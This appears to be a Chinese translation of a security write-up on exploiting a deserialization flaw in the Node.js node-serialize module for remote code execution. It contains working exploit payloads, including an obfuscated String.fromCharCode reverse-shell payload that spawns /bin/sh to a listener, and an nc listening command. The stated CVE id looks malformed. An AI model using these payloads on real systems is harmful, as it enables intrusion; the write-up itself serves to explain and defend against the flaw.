翻译:
预估稿费:100RMB
投稿方式:发送邮件至 ,或登陆网页版在线投稿
漏洞介绍
漏洞名称: Exploiting Node.js deserialization bug for Remote Code Execution
漏洞 CVE id: CVE-2017-594
漏洞类型: 代码执行
不可信的数据传入了 unserialize() 函数,这导致我们可以通过传递带有立即调用函数表达式(IIFE)的 JavaScript 对象来实现任意代码执行。
漏洞详情
在 Node.js 代码审查期间,我碰巧看到了一个序列化 / 反序列化模块命名为 node-serialize。cookie 的值来自请求然后被传递到模块提供的 unserialize() 函数。下面是一个示例的 node.js 应用程序:
- var express = require('express');
- var cookieParser = require('cookie-parser');
- var escape = require('escape-html');
- var serialize = require('node-serialize');
- var app = express();
- app.use(cookieParser()) app.get('/',
- function(req, res) {
- if (req.cookies.profile) {
- var str = new Buffer(req.cookies.profile, 'base64').toStrin();
- var obj = serialize.unserialize(str);
- if (obj.username) {
- res.send("Hello " + escape(obj.username));
- }
- } else {
- res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5Ijo
- iYmFuZ2Fsb3JlIn0=", {
- maxAge: 900000,
- httpOnly: true
- });
- }
- res.send("Hello World");
- });
- app.listen(3000);
Java,PHP,Ruby 和 Python 也有着大量的反序列化问题
但是我找不到任何解释反序列化 / 对象的资源来解释 Node.js 中的注入 BUG。
Building the Payload
我使用 node-serialize version 0.0.4 进行研究,为了成功利用当不可信数据传递到 unserialize() 函数时,执行任意代码。创建 Payload 的最好方法就是使用同一模块的 serialize() 函数。
我创建了以下 JavaScript 对象并将其传递给 serialize() 函数。
- var y = {
- rce: function() {
- require('child_process').exec('ls /',
- function(error, stdout, stderr) {
- console.log(stdout)
- });
- },
- }
- var serialize = require('node-serialize');
- console.log("Serialized: \n" + serialize.serialize(y));
输出如下:
现在我们有一个序列化的字符串,可以通过 unserialize() 函数进行反序列化,但问题是代码执行不会发生,直到你触发对应于对象的 rce 属性的函数。后来我想出,我们可以使用 JavaScript 的立即调用函数表达式(IIFE)来调用该函数。如果我们在函数体之后使用括号 (),当对象被创建时,函数将被调用。 它的工作方式类似于 C ++ 中的类构造函数。
代码:
- var y = {
- rce: function() {
- require('child_process').exec('ls /',
- function(error, stdout, stderr) {
- console.log(stdout)
- });
- } (),
- }
- var serialize = require('node-serialize');
- console.log("Serialized: \n" + serialize.serialize(y));
获得以下输出
IIFE 工作正常,但序列化失败。所以我试图在以前序列化的字符串的函数体后添加括号 ()。并将其传递给 unserialize() 函数,幸运的它成功了。所以我们有 Exploit Payload:
- {
- "rce": "_$$ND_FUNC$$_function (){\n \t
- require('child_process').exec('ls /', function(error, stdout, stderr) {
- console.log(stdout) });\n }()"
- }
将它传递给 unserialize() 函数将导致代码执行。
- var serialize = require('node-serialize');
- var payload = '{"rce":"_$$ND_FUNC$$_function
- (){require(\'child_process\').exec(\'ls /\',
- function(error, stdout, stderr) { console.log(stdout)
- });}()"}';
- serialize.unserialize(payload);
演示:
现在我们知道我们可以利用 node-serialize 模块中的 unserialize() 函数。现在让我们来利用漏洞生成一个反向 shell。
Further Exploitation
Web 应用程序中的漏洞是它从 HTTP 请求中读取名为 profile 的 cookie,对 cookie 值执行 base64 解码,并将其传递给 unserialize() 函数。由于 cookie 是不受信任的输入,攻击者可以制作恶意 Cookie 值以利用此漏洞。
我使用 nodejsshell.py 生成反向 shell 有效负载。
- $ python nodejsshell.py 127.0.0.1 1337
- [+] LHOST = 127.0.0.1
- [+] LPORT = 1337
- [+] Encoding
- eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,10
- 5,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,3
- 2,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,11
- 5,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,
- 49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,4
- 8,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103
- ,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,6
- 1,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,11
- 0,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,3
- 2,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,1
- 14,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,3
- 2,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,8
- 4,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32
- ,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,3
- 2,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,
- 83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,3
- 2,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,1
- 04,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114
- ,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,
- 32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,11
- 6,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,11
- 6,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,1
- 15,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,
- 41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,1
- 02,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,12
- 3,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68
- ,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,3
- 2,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,
- 46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,
- 101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,
- 40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,3
- 2,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))
现在让我们生成序列化的有效内容,并在函数体后添加括号 ()。
- {
- "rce": "_$$ND_FUNC$$_function (){
- eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101
- ,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,1
- 12,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,1
- 08,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,1
- 0,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,3
- 4,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,1
- 05,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112
- ,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,
- 61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,
- 116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,
- 110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105
- ,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,1
- 10,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,
- 125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82
- ,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,6
- 1,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,3
- 2,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,7
- 9,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,3
- 2,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,11
- 2,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,
- 32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,
- 67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32
- ,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,
- 116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,10
- 0,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,3
- 2,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,1
- 12,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,
- 104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111
- ,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32
- ,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,
- 115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,3
- 2,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,
- 105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117
- ,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,11
- 5,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,
- 84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,
- 10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"
- }
我们需要执行相同的 Base64 编码,然后使用 Cookie 头中的编码 Payload 向 Web 服务器发出请求。
现在我们可以使用 nc 监听一下本地的一个端口:
- nc -l 127.0.0.1 1337
演示:
成功利用,反弹一个 shell。
演示视频
总结
我们利用了一个反序列化的 bug 实现了任意代码执行,经验告诉我们,永远不要相信用户的输入。这个漏洞产生的根本原因在于内部使用了 eval() 反序列化,我在另一个名为 serialize-to-js 的模块中也发现了一个类似的错误。在该模块中,Node.js 中的 require() 函数在没有 IIFE 的对象的反序列化期间没有范围,并且它们在内部使用新的函数用于反序列化。我们仍然可以使用稍微复杂的有效载荷来实现代码执行。
本文由 安全客 翻译,转载请注明 "转自安全客",并附上链接。
来源: